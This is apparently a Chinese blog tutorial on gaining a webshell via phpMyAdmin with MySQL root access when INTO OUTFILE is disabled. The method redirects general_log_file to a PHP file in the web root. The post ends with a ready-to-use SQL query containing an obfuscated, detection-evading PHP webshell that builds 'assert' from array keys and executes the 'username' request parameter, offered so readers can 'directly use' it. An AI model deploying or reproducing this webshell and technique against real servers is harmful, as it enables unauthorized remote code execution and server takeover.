phpmyadmin新姿势getshell

mysql中的Into outfile禁用的情况下,我该如何getshell?

目前into outfile被禁用

那么我们尝试通过一个脑洞大开的方法去getshell。

(必须是mysql root权限)

登录phpmyadmin后,查看全局变量:找到general log和general log file

general log file是存储了每一个sql语句执行的日志(包含SQL语句本身)

但是general log变量必须是ON状态,代表启用,然后再去更改

general log file的地址为我们的webshell,绝对路径。

phpmyadmin新姿势getshell

在每一次更改general log file的时候mysql都会判断日志文件是否存在,如果不存在则会自动创建。

《phpmyadmin新姿势getshell》

此时该文件已经创建,并且文件内容保存了最后一条SQL语句的日志信息。

1
MySQLa, Version: 5.5.53 (MySQL Community Server (GPL)). started with: TCP Port: 3306, Named Pipe: MySQL Time Id Command Argument 121 Query SHOW GLOBAL VARIABLES WHERE Variable_name="general_log_file" 121 Quit

接下来,我们直接随意查询SQL,每一句都会被写入这个ice.php

phpmyadmin新姿势getshell

下面再附上一个SQL查询免杀shell的语句,方便大家遇到此类情况直接利用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
SELECT "<?php
$p = array('f'=>'a',
#afffffffff
'pffff'=>'s'/*223* 1*/,
'e'=>'fffff',//FJKSJKFSNMFSSDSDS//D*SA/*DSA&*$@&$@&(#*(
'lfaaaa'=>'r',//FJKSJKFSNMFSSDSDS//D*SA/*DSA&*$@&$@&(#*(;
'nnnnn'=>'t'//&$@&(#*(;
);//&$@&(#*(;
$a = array_keys($p);//9*9*5656
@$_=$p['pffff'].#/*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*/
$p['pffff'].$a[2];
@$_=#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
$p['f']./*-/*-*/$_.#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
$p['lfaaaa'].$p['nnnnn'];#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@$_#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
($_REQUEST[#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
'username'#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
]);
?>"

密码username

phpmyadmin新姿势getshell

-------------本文结束感谢您的阅读-------------